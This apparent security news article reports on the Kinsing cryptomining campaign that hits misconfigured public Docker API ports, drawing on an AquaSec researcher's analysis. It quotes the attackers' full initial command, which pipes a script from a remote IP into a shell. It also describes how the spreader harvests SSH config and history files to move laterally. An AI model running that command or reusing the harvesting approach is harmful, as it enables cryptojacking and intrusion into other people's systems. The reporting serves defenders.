A Bitcoin-mining campaign using the Kinsing malware is spreading quickly thanks to cloud-container misconfigurations.
The Docker cloud containerization technology is under fire, with an organized, self-propagating cryptomining campaign targeting misconfigured open Docker Daemon API ports.
Thousands of container-compromise attempts are being observed every day as part of the campaign, according to Gal Singer, a security researcher at AquaSec. The effort has been ongoing for months. However, since the beginning of the year, the number of daily attempts has far exceeded what was seen before, he said.
Kinsing’s Infection Routine
The attack pattern starts with the attackers identifying a misconfigured Docker API port that has been left open to the public internet. They then access that open port and the Docker instance connected to it, and run a rogue Ubuntu container. The container issues a command that fetches the Kinsing malware, which in turn downloads and runs a cryptominer.
In the final stage of the infection, Kinsing attempts to propagate to other containers and hosts.
The same initial command is used in every attack, according to Singer: “/bin/bash -c apt-get update && apt-get install -y wget cron;service cron start; wget -q -O – 220.127.116.11/d.sh | sh;tail -f /dev/null.”
This command updates the Docker package in order to implement an installer, which in turn downloads a d.sh shell script.
According to the analysis, the shell script does several things: It disables security measures and clears logs; kills any other malware or cryptominers and deletes any files related to them; kills any running rival malicious Docker containers and deletes their images; downloads the Kinsing malware and runs it; and uses the “crontab” function to download and run the same original script once every minute – presumably to maintain persistence.
The Kinsing Malware
Kinsing is a Golang-based Linux binary that uses several Go libraries, Singer explained. Those libraries are used to set up communication with a command-and-control (C2) server; monitor systems and processes; and establish a disk-backed key-value storage area to hold data. It’s main function though is to act as a dropper to load scripts and execute other malware.
In the case of the current campaign, the next-stage payloads consist of a cryptominer and a “spr.sh” shell script that is used to laterally spread Kinsing across the container network.
The cryptominer mines for Bitcoin, and is simply called “kdevtmpfsi.” It’s nothing special, Singer said: Like many other coin-miners, it connects to a host using a log in request over HTTP, receives further instructions and starts mining cryptocurrency.
The interesting aspect of the attack is the shell script used for self-propagation.
“In order to discover potential targets and locate the information it needs to authenticate against, the script passively collects data from ‘/.ssh/config, .bash_history, /.ssh/known_hosts,’” Singer explained. “Using the information gathered, the malware then attempts to connect to each host, using every possible user and key combination through SSH, in order to download the aforementioned [d.sh] shell script and run the malware on other hosts or containers in the network.”
On the C2 front, Singer said that Kinsing’s servers appear to be in Eastern Europe. And, “it appears that there are dedicated servers for each function that the malware executes,” he noted in the research post.
Docker Misconfigurations Persist
Docker is no stranger to security snafus and exposures. In February, a slew of misconfigured Docker container registries inadvertently exposed source code for 15,887 unique versions of applications owned by research institutes, retailers, news media organizations and technology companies.
Back in October, more than 2,000 unsecured Docker Engine (Community Edition) hosts were found to be infected by a cyptojacking worm dubbed Graboid (so-named after the sandworms in the 1990 Kevin Bacon movie, Tremors).
And last May, it was discovered that for three years, some Alpine Linux Docker images had shipped with a root account and no password, opening the door for attackers to easily access vulnerable servers and workstations provisioned for the images.
The existing attack “stands out as yet another example of the growing threat to cloud-native environments,” Singer wrote. “With deployments becoming larger and container use on the rise, attackers are upping their game and mounting more ambitious attacks, with an increasing level of sophistication.”